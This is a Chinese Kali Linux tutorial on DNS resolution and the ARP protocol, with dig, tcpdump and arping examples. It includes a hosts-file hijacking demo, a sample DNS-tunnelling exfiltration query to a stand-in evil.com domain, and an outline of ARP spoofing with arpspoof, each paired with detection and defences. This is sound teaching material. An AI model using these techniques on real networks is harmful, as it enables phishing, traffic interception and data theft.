📚 网络安全Kali学习系列 · 模块0-2 计算机网络
07 计算机网络基础:OSI 七层模型与 TCP/IP 协议栈
08 TCP/UDP 协议详解:三次握手与四次挥手
09 HTTP/HTTPS 协议与 TLS
10 DNS 解析与 ARP 协议(当前篇 · 模块完结)

DNS 解析与 ARP 协议

难度:基础 | 上一篇你掌握了 HTTP/HTTPS 与 TLS 加密通信,本篇深入应用层 DNS 和链路层 ARP,补全网络协议栈最后两块拼图
读完本篇你将能:用 dig +trace 追踪域名从根服务器到权威服务器的完整解析路径,识别 A/AAAA/CNAME/MX 等 DNS 记录类型,理解 ARP 将 IP 映射到 MAC 地址的广播机制,并掌握 DNS 劫持和 ARP 欺骗两种常见网络攻击的原理与防御手段。
📑 本文目录
01DNS 基础:域名系统与层级结构
02DNS 解析流程:递归与迭代查询
03DNS 记录类型与工具实战
04DNS 安全:劫持、投毒与隧道
05ARP 协议:IP 到 MAC 的桥梁
06ARP 安全:欺骗攻击与防御

01 DNS 基础:域名系统与层级结构

你每天都在用 DNS。在浏览器输入 www.example.com 时,计算机会先通过 DNS(Domain Name System,域名系统)把这个人类可读的名字翻译成机器需要的 IP 地址(如 93.184.216.34)。没有 DNS,你得记住每个网站的 IP 数字串才能访问。

DNS 的角色很像老式的"114 查号台":你知道一家公司叫"联想集团",拨 114 说"帮我查联想集团的电话",话务员在自己的号码簿里找到后告诉你"010-12345678"。DNS 做的事一样——你给它域名,它给你 IP 地址。区别在于,DNS 的号码簿分布在全球数百万台服务器上,不是一本厚书。

域名层级结构

域名是倒置的树形结构,从右到左层级递降。以 www.example.com. 为例:

根域
末尾的 . — 全球 13 组根 DNS 服务器,管理顶级域信息
顶级域
com — 通用顶级域(com/org/net)或国家顶级域(cn/jp/us)
二级域
example — 注册的域名,由权威 DNS 服务器管理
子域
www — 由二级域所有者自行划分的主机名

本地名称解析:/etc/hosts

在 DNS 出现之前,每台电脑维护一个本地文件记录"域名→IP"映射。这个文件至今仍存在,优先级高于 DNS 查询——你的系统会先查本地,找不到才去问 DNS 服务器。

Bash — /etc/hosts
# 本地名称解析文件,优先级高于 DNS
127.0.0.1   localhost
127.0.1.1   kali
192.168.1.1  router
93.184.216.34  example.com

当你在浏览器输入 example.com 时,系统先读 /etc/hosts,发现已有对应记录,直接使用 93.184.216.34,不会发起 DNS 查询。这个机制既是调试利器,也是攻击者篡改域名解析的常见入口。

💡 小贴士
在 Kali 上修改 /etc/hosts 将某个域名指向 127.0.0.1,可以在本地测试 Web 服务而不影响真实 DNS。例如 echo "127.0.0.1 test.local" | sudo tee -a /etc/hosts,之后浏览器访问 test.local 就会连到本机。

常见端口与服务对照表

DNS 使用 53 号端口(UDP 用于查询,TCP 用于区域传送)。在安全领域,记住端口号与服务的对应关系是基本功——扫描时看到开放端口,你得立刻判断背后跑的是什么服务。

端口 协议 服务 安全风险
21 TCP FTP 文件传输 明文传输密码
22 TCP SSH 远程登录 暴力破解
23 TCP Telnet 远程登录 明文传输所有数据
25 TCP SMTP 邮件发送 邮件伪造
53 UDP/TCP DNS 域名解析 DNS 劫持/投毒
80 TCP HTTP Web 服务 明文 Web 流量
443 TCP HTTPS 加密 Web 证书伪造
3306 TCP MySQL 数据库 数据库暴露
3389 TCP RDP 远程桌面 暴力破解
8080 TCP HTTP-Alt 非标准 Web 隐蔽 Web 服务

02 DNS 解析流程:递归与迭代查询

你已经知道 DNS 是"查号台"。现在来看一次完整的 DNS 查询经过哪些环节。当你在浏览器输入 www.example.com 时,解析请求会经过以下步骤:

① 浏览器 DNS 缓存
↓ 未命中
② 操作系统 DNS 缓存 + /etc/hosts
↓ 未命中
③ 本地 DNS 服务器(递归解析器)
↓ 代为迭代查询
④ 根 DNS 服务器 → 返回顶级域 NS 地址
↓
⑤ 顶级域 DNS 服务器 → 返回权威 NS 地址
↓
⑥ 权威 DNS 服务器 → 返回最终 IP 地址

关键区分两种查询模式:你的电脑到本地 DNS 服务器之间是递归查询(你问一次,解析器负责帮你跑完所有后续步骤);本地 DNS 服务器到各级服务器之间是迭代查询(解析器每次得到下一级地址,再主动去问下一级)。

特性 递归查询 迭代查询
谁负责跑完 被问者全权代劳 问询者自己逐级追
返回内容 最终 IP 地址 下一级服务器地址
典型场景 客户端 → 本地 DNS 本地 DNS → 根/TLD/权威
负载压力 解析器承担较大 各级分担,单点压力小

用 dig +trace 可以亲眼看到这个迭代过程——它从根服务器开始,逐级查询并打印每一跳的结果:

Bash
1
2
3
4
5
6
7
8
9
dig +trace www.example.com
;; 从根服务器开始迭代查询
.       518400  IN  NS  a.root-servers.net.
com.     172800  IN  NS  a.gtld-servers.net.
example.com. 86400 IN  NS  a.iana-servers.net.
www.example.com. 86400 IN  A  93.184.216.34
;; 权威服务器返回最终 IP 地址

第 4 行显示根服务器返回了 com 顶级域的 NS 记录。第 5 行是顶级域返回的权威服务器地址。第 6 行是权威服务器返回的最终 IP。这就是一次完整的迭代解析过程。

03 DNS 记录类型与工具实战

DNS 不只是存"域名→IP"一种映射。它维护着多种记录类型,每种承载不同的信息。掌握这些记录类型,是分析网络基础设施的基本功。

记录类型 含义 示例值
A 域名 → IPv4 地址 93.184.216.34
AAAA 域名 → IPv6 地址 2606:2800:220:1:...
CNAME 域名 → 另一个域名(别名) example.com
MX 邮件交换服务器 10 mail.example.com
NS 域名管辖的权威服务器 ns1.example.com
TXT 文本记录(SPF/DKIM 验证) v=spf1 include:_spf...
PTR IP → 域名(反向解析) example.com
SOA 区域授权起始(管理信息) ns1.example.com admin...

dig 工具实战

dig(Domain Information Groper)是 DNS 诊断的首选工具。最基础的用法是直接查一个域名的 A 记录:

Bash
dig example.com
;; 查询 A 记录,status: NOERROR 表示成功
example.com.  86400  IN  A  93.184.216.34
;; SERVER: 127.0.0.53#53(127.0.0.53)

输出中的 status: NOERROR 表示查询成功。86400 是 TTL(生存时间),单位秒,表示这条记录可以缓存一天。查 MX 记录只需加类型参数:

Bash
dig MX gmail.com
;; 查询 Gmail 的邮件交换服务器
gmail.com. 3600 IN MX 10 gmail-smtp-in.l.google.com.
gmail.com. 3600 IN MX 20 alt1.gmail-smtp-in.l.google.com.
gmail.com. 3600 IN MX 30 alt2.gmail-smtp-in.l.google.com.

MX 记录中的数字(10/20/30)是优先级,越小越优先。发邮件时,邮件服务器会优先连 10 这台,如果连不上才依次尝试 20、30。只需要 IP 不要废话时,加 +short 参数:

Bash
dig +short example.com
93.184.216.34

nslookup 与 host 命令

nslookup 和 host 是另外两个常见 DNS 查询工具。nslookup 交互能力更强,host 输出更简洁:

Bash
host -t MX gmail.com
gmail.com mail is handled by 10 gmail-smtp-in.l.google.com.
gmail.com mail is handled by 20 alt1.gmail-smtp-in.l.google.com.

DNS 配置文件:/etc/resolv.conf

系统使用哪个 DNS 服务器由 /etc/resolv.conf 指定。这个文件决定了你的 DNS 查询发往哪里:

Bash — /etc/resolv.conf
# Kali 默认使用 systemd-resolved 本地代理
nameserver 127.0.0.53
options edns0 trust-ad
search fritz.box

nameserver 行指定 DNS 服务器地址。Kali 默认用 127.0.0.53(systemd-resolved 本地代理),实际转发到路由器或 ISP 的 DNS。安全测试中常改为 8.8.8.8(Google DNS)或 1.1.1.1(Cloudflare DNS)以绕过本地 DNS 污染。

⚠️ 常见错误
sudo echo "nameserver 8.8.8.8" > /etc/resolv.conf — 重定向由 shell 执行,sudo 权限不会传递到重定向目标
✓ 正确:echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf — 用 tee 在 root 权限下写入

04 DNS 安全:劫持、投毒与隧道

DNS 设计于 1983 年,最初没有考虑安全。查询和响应都是明文传输,没有身份验证,任何人都可以伪造 DNS 响应。这些缺陷催生了三类常见攻击:

攻击类型 原理 危害
DNS 劫持 篡改 /etc/hosts 或 DNS 服务器配置,返回假 IP 用户被引导到钓鱼网站
DNS 投毒 向 DNS 缓存注入伪造记录,影响所有使用该缓存的用户 大规模域名劫持
DNS 隧道 将数据编码到 DNS 查询中,绕过防火墙传出数据 数据泄露、命令控制通道

DNS 劫持实战演示

最简单的 DNS 劫持就是修改 /etc/hosts 文件。在 Kali 上可以模拟:将某个域名指向错误 IP,观察浏览器行为:

Bash
# 将 example.com 劫持到本机
echo "127.0.0.1 example.com" | sudo tee -a /etc/hosts
dig +short example.com
127.0.0.1
# 注意:dig 默认不读 /etc/hosts,但浏览器和 curl 会读
curl -I example.com
curl: (7) Failed to connect to 127.0.0.1 port 80

劫持后,curl 尝试连接 127.0.0.1(本机没有 Web 服务所以失败)。如果在 127.0.0.1:80 上部署一个钓鱼页面,用户访问 example.com 就会看到这个伪造页面。测试完毕后务必恢复:sudo sed -i '/example.com/d' /etc/hosts。

DNS 隧道与数据泄露

DNS 隧道利用了一个事实:大多数防火墙允许 DNS 流量(53 端口)自由出入。攻击者将窃取的数据编码成子域名,通过 DNS 查询发出。例如,要泄露文件内容 secret=pass123,攻击者构造查询 c2VjcmV0PXBhc3MxMjM.evil.com(Base64 编码后拼接攻击者域名)。DNS 服务器会把这个查询转发到攻击者控制的域名服务器,攻击者从查询日志中解码出原始数据。

用 tcpdump 可以观察 DNS 查询流量,发现异常长的子域名是 DNS 隧道的典型特征:

Bash
# 抓取 DNS 查询流量,-n 不解析反向 DNS
sudo tcpdump -i eth0 port 53 -n
# 正常 DNS 查询看起来这样:
IP 192.168.1.50 > 8.8.8.8: A? www.example.com.
# DNS 隧道查询看起来这样(超长子域名):
IP 192.168.1.50 > 8.8.8.8: A? c2VjcmV0PXBhc3MxMjM.evil.com.

防御措施

DNSSEC(DNS Security Extensions)为 DNS 响应添加数字签名,让解析器能验证响应的真实性。DoH(DNS over HTTPS)和 DoT(DNS over TLS)则将 DNS 查询加密传输,防止中间人窃听和篡改。用 dig 可以检查域名是否启用了 DNSSEC:

Bash
# 查询 DNSSEC 记录(+dnssec 启用 DNSSEC 扩展)
dig +dnssec cloudflare.com
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2
;; ad 标志表示通过 DNSSEC 验证
cloudflare.com. 300 IN A 104.16.132.229
cloudflare.com. 300 IN RRSIG A 13 2 300 ...

输出中的 ad 标志(Authentic Data)表示响应已通过 DNSSEC 验证。RRSIG 记录就是数字签名本身。

05 ARP 协议:IP 到 MAC 的桥梁

从应用层 DNS 降到链路层。你在上一篇学了 HTTP over TCP over IP,但 IP 数据包最终要通过网卡发出,网卡只认 MAC 地址(Media Access Control,物理地址)。ARP(Address Resolution Protocol,地址解析协议)负责把 IP 地址翻译成 MAC 地址——没有 ARP,IP 数据包无法到达物理网络。

ARP 的工作方式像办公楼前台广播找人:你知道同事张三的工号(IP 地址),但不知道他坐哪个工位(MAC 地址)。前台向全楼层广播"工号 1001 的张三在吗?",张三听到后回复"我在工位 42",你就知道该往哪送文件了。

ARP 请求与应答

当你的电脑(IP: 192.168.1.50)要发数据给网关(IP: 192.168.1.1),它需要知道网关的 MAC 地址。过程分两步:

① ARP 请求
源机广播:"谁的 IP 是 192.168.1.1?请把你的 MAC 告诉 192.168.1.50(MAC: aa:bb:cc:dd:ee:ff)"
↓ 全网广播
② ARP 应答
网关单播回复:"192.168.1.1 的 MAC 是 00:11:22:33:44:55"
↓ 缓存到 ARP 表
③ 通信开始
源机用网关 MAC 作为目标地址,封装 IP 包并发送

ARP 请求是广播(发给 FF:FF:FF:FF:FF:FF,同一网段所有设备都收到),ARP 应答是单播(只回复给请求者)。请求中已经包含源机的 IP 和 MAC,所以应答者顺便也能学到请求者的映射关系。

查看 ARP 缓存表

每台设备维护一张 ARP 缓存表,记录已知的 IP→MAC 映射,避免每次通信都广播。用 arp -n 查看:

Bash
arp -n
Address         HWtype  HWaddress           Flags Mask   Iface
192.168.1.1    ether   00:11:22:33:44:55   C           eth0
192.168.1.100  ether   aa:bb:cc:dd:ee:ff   C           eth0
# C = Complete(完整),还有 M=Manual(静态绑定)

新版 Linux 推荐用 ip neigh(iproute2 工具集),输出信息更丰富:

Bash
ip neigh
192.168.1.1 dev eth0 lladdr 00:11:22:33:44:55 REACHABLE
192.168.1.100 dev eth0 lladdr aa:bb:cc:dd:ee:ff STALE

REACHABLE 表示近期通信过且确认可达,STALE 表示有一段时间没通信,记录可能过期。ARP 缓存条目默认存活约 60 秒(可配置),过期后重新发起 ARP 请求。

💡 小贴士
ARP 只在同一子网内工作。跨子网通信时,源机用 ARP 解析的是网关(路由器)的 MAC,而非目标主机的 MAC。数据包先到网关,网关再通过下一跳的 ARP 解析继续转发。这就是为什么 arp -n 里通常只有同子网设备和网关的记录。

06 ARP 安全:欺骗攻击与防御

ARP 协议有一个致命缺陷:它没有身份验证。任何设备都可以发送 ARP 应答声称"我这个 IP 对应这个 MAC",接收方会无条件更新自己的 ARP 缓存。这个设计缺陷使 ARP 欺骗成为局域网攻击的经典手段。

ARP 欺骗原理

攻击者向局域网发送伪造的 ARP 应答,告诉受害者"网关 192.168.1.1 的 MAC 是我的 MAC",同时告诉网关"受害者 192.168.1.50 的 MAC 是我的 MAC"。双向欺骗后,受害者↔网关的所有流量都经过攻击者,形成中间人攻击(MITM):

受害者
192.168.1.50
⇄ 流量劫持 ⇄
攻击者(MITM)
192.168.1.99
⇄ 流量转发 ⇄
网关
192.168.1.1
攻击者双向伪造 ARP,截获所有流量后转发,受害者无感知

攻击者可以窃取 HTTP 明文密码、篡改网页内容、注入恶意脚本。即使 HTTPS 也可能因证书警告被用户忽略而中招。Kali 中的 arpspoof 工具(dsniff 包)可实现此攻击——但仅在授权测试环境中使用。

检测 ARP 欺骗

最简单的检测方法是对比 ARP 表中的 MAC 地址。如果同一网关 IP 对应了两个不同的 MAC,或者多个 IP 指向同一个 MAC,就可能遭受 ARP 欺骗。用 arping 可以主动验证:

Bash
# 向网关发送 ARP 请求,验证其 MAC 地址
arping -I eth0 -c 3 192.168.1.1
ARPING 192.168.1.1 from 192.168.1.50 eth0
Unicast reply from 192.168.1.1 [00:11:22:33:44:55]
# 如果返回的 MAC 与 arp -n 不一致,说明有人伪造 ARP
⚠️ 常见错误
arping 192.168.1.1 — 不指定网卡接口时,arping 可能选错接口(如有 eth0 和 wlan0 同时连接)
✓ 正确:arping -I eth0 -c 3 192.168.1.1 — 明确指定接口和发送次数

防御措施

最直接的手段是设置静态 ARP 绑定,将网关 IP 与 MAC 固定关联,拒绝接受该 IP 的其他 ARP 应答:

Bash
# 静态绑定网关 IP → MAC(重启后失效)
sudo arp -s 192.168.1.1 00:11:22:33:44:55
arp -n | grep 192.168.1.1
192.168.1.1  ether  00:11:22:33:44:55  CM        eth0
# M 标志 = Manual,静态绑定不会被 ARP 欺骗覆盖

企业环境中,更实用的防御是交换机层面的 DHCP Snooping + 动态 ARP 检测(DAI):交换机只允许 DHCP 服务器分配的 IP 发送 ARP 应答,伪造的 ARP 包在交换机端口被直接丢弃。终端用户层面,始终使用 HTTPS(TLS 加密)可以防止 ARP 欺骗窃取应用层数据——即使流量被劫持,攻击者也只能看到加密密文。

📖 知识回顾
DNS 域名层级 递归 vs 迭代查询 dig +trace A/AAAA/CNAME/MX 记录 DNS 劫持与投毒 DNSSEC / DoH ARP 请求/应答 ARP 缓存表 ARP 欺骗(MITM) 静态 ARP 绑定

动手练习

🟢 基础验证(5分钟)
在 Kali 终端执行 dig +short example.com A 和 dig +short example.com AAAA,记录两种记录返回的 IP 地址差异,并解释为什么一个域名可能有 A 和 AAAA 两种记录。
参考解法:A 记录返回 IPv4 地址,AAAA 记录返回 IPv6 地址。一个域名同时拥有两种记录,表示该网站同时支持 IPv4 和 IPv6 访问,双栈客户端优先使用 IPv6。
🟡 组合应用(10分钟)
用 dig +trace 追踪 github.com 的完整解析路径,记录沿途经过的每一级 NS 服务器。然后用 arp -n 查看本机 ARP 表,找出网关的 IP 和 MAC 地址,并用 arping -I [接口] -c 3 [网关IP] 验证网关 MAC 是否一致。
参考方向:dig +trace 输出从根 NS → TLD NS → 权威 NS 逐级显示。arping 返回的 MAC 应与 arp -n 中网关条目的 MAC 一致,否则可能存在 ARP 欺骗。
🔴 开放挑战(30分钟+)
在树莓派上用 tcpdump -i eth0 port 53 -n -c 50 抓取 50 个 DNS 查询包,然后浏览几个网站。分析抓包结果:哪些域名被查询了?用的是 UDP 还是 TCP?有没有异常长的子域名(可能是 DNS 隧道)?尝试用 dig @1.1.1.1 [域名] 指定用 Cloudflare DNS 重新查询,对比结果是否一致(不一致可能是 DNS 污染)。
提示:tcpdump 的 -c 参数限定抓包数量,port 53 过滤 DNS 流量。正常 DNS 查询域名长度通常不超过 253 字符,超过 63 字符的单标签子域名值得警惕。对比不同 DNS 服务器的结果差异是检测 DNS 劫持的常用方法。
🚀 模块0-2 计算机网络 · 完结
恭喜!你已经完成了模块0-2 全部 4 篇文章:从 OSI 七层模型到 TCP/UDP 三次握手,从 HTTP/HTTPS 到 DNS/ARP。现在你对网络协议栈从应用层到链路层有了完整认识。
下一篇:模块0-3 密码学基础
进入密码学世界,从对称加密 AES 到非对称加密 RSA,理解哈希算法的碰撞特性,亲手用 openssl 生成自签名证书,搞懂 HTTPS 证书背后的数学原理。密码学是安全的基石——理解加密原理才能理解攻击者如何破解,也才能设计有效的防御。
关注 · 点赞 · 在看 持续获取系列更新